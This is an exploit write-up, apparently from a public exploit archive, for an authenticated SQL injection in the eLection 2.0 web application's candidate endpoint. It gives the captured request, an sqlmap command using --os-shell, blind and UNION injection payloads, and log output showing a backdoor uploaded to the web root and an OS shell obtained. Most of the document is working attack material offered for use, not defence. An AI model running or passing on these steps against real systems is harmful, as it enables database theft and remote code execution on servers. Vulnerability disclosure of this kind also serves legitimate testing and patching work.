eLection 2.0 SQL Injection

eLection version 2.0 suffers from a remote SQL injection vulnerability.

MD5 | 21c89432c2f325cebad6e5e970f163e3

# Title: eLection 2.0 - 'id' SQL Injection
# Date: 2020-02-21
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/projects/election-by-tripath/
# Software Link: https://sourceforge.net/projects/election-by-tripath/files/#Version 2.0
# Tested on Ubuntu 19/Kali Rolling

# The eLection Web application is vulnerable to authenticated SQL Injection which leads to remote code execution:
# Login to the admin portal and browse to the candidates section. Capture the request in BurpSuite and save it to file:

POST /election/admin/ajax/op_kandidat.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://HOSTNAME/election/admin/kandidat.php?_
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Connection: close
Cookie: el_listing_panitia=5; el_mass_adding=false; el_listing_guru=5; el_listing_siswa=5; PHPSESSID=b4f0c3bbccd80e9d55fbe0269a29f96a; el_lang=en-us


Send the request to SQLMap with the following parameters:

sqlmap -r getcandidate --level=5 --risk=3 --os-shell -p id

SQLMap will find the injection:

Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: aksi=fetch&id=256 AND 8584=8584

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: aksi=fetch&id=256 AND (SELECT 8551 FROM (SELECT(SLEEP(5)))nYfJ)

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: aksi=fetch&id=-9798 UNION ALL SELECT NULL,NULL,CONCAT(0x7170707171,0x676d755461434e486f49475051707357694861534e664f416f434269487042545a76454f5843584b,0x71717a7871),NULL,NULL-- dWMc

[09:39:07] [WARNING] unable to automatically parse any web server path
[09:39:07] [INFO] trying to upload the file stager on '/opt/lampp/htdocs/election/' via LIMIT 'LINES TERMINATED BY' method
[09:39:07] [INFO] the file stager has been successfully uploaded on '/opt/lampp/htdocs/election/' - http://HOSTNAME/election/tmpumlfm.php
[09:39:07] [INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/election/' - http://HOSTNAME/election/tmpbpfkq.php
[09:39:07] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

Due to the way the setup of the application requires you to change permissions on the directory of the web app, you should be able to get a shell.


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